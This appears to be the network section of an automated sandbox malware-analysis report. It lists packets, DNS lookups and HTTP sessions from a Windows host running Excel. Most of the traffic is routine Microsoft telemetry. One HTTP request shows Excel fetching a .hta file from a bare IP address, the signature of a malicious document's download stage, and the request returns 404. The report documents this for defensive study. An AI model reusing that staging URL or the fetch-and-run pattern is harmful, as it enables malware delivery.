Mar 15, 2025 08:55:55.604572058 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.605006933 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.689291954 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.689337969 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.689389944 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.689424038 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.689439058 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.689481974 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.689516068 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.689569950 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.689569950 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.689580917 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.689663887 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.689740896 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.689757109 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.689834118 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.689841032 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.689934969 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.690026999 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.690046072 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.690107107 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.690115929 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.690212965 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.690236092 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.690251112 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.690306902 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.690314054 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.690357924 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.690357924 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.690633059 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.690653086 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.690702915 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.690711975 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.690745115 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.690745115 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.690975904 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.690999031 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.691061974 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.691068888 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.691174030 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.691185951 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.691205978 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.691287994 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.691296101 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.691418886 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.776292086 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.776324987 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.776387930 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.776418924 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.776438951 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.776473045 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.776506901 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.776520967 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.776527882 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.776563883 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.776684046 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.776699066 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.776755095 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.776763916 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.777112007 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.777131081 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.777153015 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.777262926 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.777297020 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.777307987 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.777334929 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.777348042 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.777585030 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.777600050 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.777688026 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.777698040 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.777904987 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.777928114 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.778002024 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.778012037 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.778175116 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.778192043 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.778239965 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.778249025 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.778263092 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.827841997 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.863986015 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864006996 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864080906 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.864080906 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.864115953 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864167929 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864171982 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.864181995 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864207983 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864232063 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.864239931 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864270926 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.864284992 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.864337921 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864353895 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864398956 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.864404917 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864444017 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.864459991 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.864478111 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864495993 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864536047 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.864542007 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864577055 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.864617109 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864635944 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864742994 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.864753008 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864871025 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864886045 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864964962 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.864972115 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.864995956 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.865022898 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.865066051 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.865072966 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.865082979 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.865114927 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.865241051 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.865257978 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.865317106 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.865317106 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.865324020 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.865482092 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.950586081 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.950611115 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.950666904 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.950678110 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.950687885 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.950750113 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.950769901 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.950809956 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.950818062 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.950833082 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.950987101 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.951091051 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.951107979 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.951148033 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.951153994 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.951193094 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.951283932 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.951411963 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.951428890 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.951497078 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.951503992 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.951531887 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.951606989 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.951729059 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.951742887 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.951826096 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.951832056 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.951859951 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.951932907 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.951958895 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.952023029 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.952023029 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.952039003 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.952055931 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.952070951 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.952193975 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.952320099 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.952320099 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.952336073 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.952343941 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:00.492652893 CET	49742	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:00.492703915 CET	443	49742	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:00.492774010 CET	49742	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:00.493227959 CET	49742	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:00.493243933 CET	443	49742	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:00.494431973 CET	49743	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:00.494465113 CET	443	49743	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:00.494649887 CET	49743	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:00.494800091 CET	49743	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:00.494811058 CET	443	49743	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.126184940 CET	443	49742	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.127851963 CET	49742	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:01.127878904 CET	443	49742	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.129139900 CET	49742	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:01.129147053 CET	443	49742	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.169003010 CET	443	49743	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.169961929 CET	49743	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:01.169991016 CET	443	49743	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.170828104 CET	49743	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:01.170835972 CET	443	49743	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.224802017 CET	443	49742	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.224822044 CET	443	49742	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.225249052 CET	443	49742	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.225336075 CET	49742	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:01.227992058 CET	49742	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:01.228013039 CET	443	49742	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.228024006 CET	49742	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:01.228029966 CET	443	49742	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.274621010 CET	443	49743	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.274720907 CET	443	49743	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.275059938 CET	49743	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:01.275712967 CET	49743	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:01.275733948 CET	443	49743	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:01.275744915 CET	49743	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:56:01.275751114 CET	443	49743	13.107.246.60	192.168.2.5
Mar 15, 2025 08:56:37.797450066 CET	49738	80	192.168.2.5	198.12.89.24
Mar 15, 2025 08:56:37.802220106 CET	80	49738	198.12.89.24	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 15, 2025 08:55:54.227648973 CET	54292	53	192.168.2.5	1.1.1.1
Mar 15, 2025 08:55:54.237355947 CET	53	54292	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 15, 2025 08:55:54.227648973 CET	192.168.2.5	1.1.1.1	0xc65a	Standard query (0)	otelrules.svc.static.microsoft	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 15, 2025 08:54:49.672856092 CET	1.1.1.1	192.168.2.5	0xfd42	No error (0)	ecs-office.s-0005.dual-s-msedge.net	s-0005.dual-s-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2025 08:54:49.672856092 CET	1.1.1.1	192.168.2.5	0xfd42	No error (0)	s-0005.dual-s-msedge.net		52.123.129.14	A (IP address)	IN (0x0001)	false
Mar 15, 2025 08:54:49.672856092 CET	1.1.1.1	192.168.2.5	0xfd42	No error (0)	s-0005.dual-s-msedge.net		52.123.128.14	A (IP address)	IN (0x0001)	false
Mar 15, 2025 08:55:54.237355947 CET	1.1.1.1	192.168.2.5	0xc65a	No error (0)	otelrules.svc.static.microsoft	otelrules-bzhndjfje8dvh5fd.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2025 08:55:54.237355947 CET	1.1.1.1	192.168.2.5	0xc65a	No error (0)	otelrules-bzhndjfje8dvh5fd.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2025 08:55:54.237355947 CET	1.1.1.1	192.168.2.5	0xc65a	No error (0)	star-azurefd-prod.trafficmanager.net	shed.dual-low.s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2025 08:55:54.237355947 CET	1.1.1.1	192.168.2.5	0xc65a	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 15, 2025 08:55:54.237355947 CET	1.1.1.1	192.168.2.5	0xc65a	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.svc.static.microsoft

198.12.89.24

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49738	198.12.89.24	80	7940	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Mar 15, 2025 08:55:38.620389938 CET	246	OUT	GET /xampp/kvrmot/kvrm/greatcomebackdoingforeverwithgreat.hta HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: 198.12.89.24 Connection: Keep-Alive
Mar 15, 2025 08:55:39.105843067 CET	539	IN	HTTP/1.1 404 Not Found Date: Sat, 15 Mar 2025 07:55:39 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Content-Length: 298 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 39 38 2e 31 32 2e 38 39 2e 32 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 198.12.89.24 Port 80</address></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49741	13.107.246.60	443	7940	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-15 07:55:54 UTC	226	OUT	GET /rules/excel.exe-Production-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-15 07:55:55 UTC	493	IN	HTTP/1.1 200 OK Date: Sat, 15 Mar 2025 07:55:55 GMT Content-Type: text/plain Content-Length: 1114783 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 12 Mar 2025 22:11:58 GMT ETag: "0x8DD61B2E85B8C36" x-ms-request-id: e7c70e09-201e-0071-077d-95ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20250315T075555Z-186895dd8bd2dn6dhC1EWR51vc00000006q0000000000qkx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-15 07:55:55 UTC	15891	IN	Data Raw: 31 30 30 30 34 32 76 32 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 34 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 55 58 2e 44 65 73 6b 74 6f 70 2e 4f 66 66 69 63 65 54 68 65 6d 65 2e 41 70 70 2e 49 6e 69 74 22 20 41 54 54 3d 22 63 34 33 38 38 63 39 37 37 32 39 37 34 31 33 62 62 30 35 34 62 61 64 31 61 63 66 30 61 64 65 31 2d 63 63 35 38 65 35 33 65 2d 66 35 61 34 2d 34 66 33 37 2d 62 30 64 32 2d 39 61 38 30 37 39 65 33 34 34 32 30 2d 36 38 37 39 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 63 6d 39 79 35 Data Ascii: 100042v2+<?xml version="1.0" encoding="utf-8"?><R Id="100042" V="2" DC="SM" EN="Office.UX.Desktop.OfficeTheme.App.Init" ATT="c4388c977297413bb054bad1acf0ade1-cc58e53e-f5a4-4f37-b0d2-9a8079e34420-6879" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="cm9y5
2025-03-15 07:55:55 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 30 31 31 37 76 30 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 31 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 38 79 6c 6c 66 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 56 20 56 3d 22 43 6c 69 63 6b 22 20 54 3d 22 57 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 Data Ascii: /> </T></R><$!#>100117v0+<?xml version="1.0" encoding="utf-8"?><R Id="100117" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="8yllf" /> </S> <C T="W" I="0" O="false"> <V V="Click" T="W" /> </C> <C T="U32
2025-03-15 07:55:55 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 37 38 31 76 31 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 37 38 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 67 6f 34 74 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 68 6c 76 79 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 49 33 32 Data Ascii: </C> <T> <S T="2" /> <S T="3" /> </T></R><$!#>10781v1+<?xml version="1.0" encoding="utf-8"?><R Id="10781" V="1" DC="SM" T="Subrule" xmlns=""> <S> <UTS T="1" Id="bgo4t" /> <UTS T="2" Id="bhlvy" /> </S> <C T="I32
2025-03-15 07:55:55 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 30 30 30 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: <L> <O 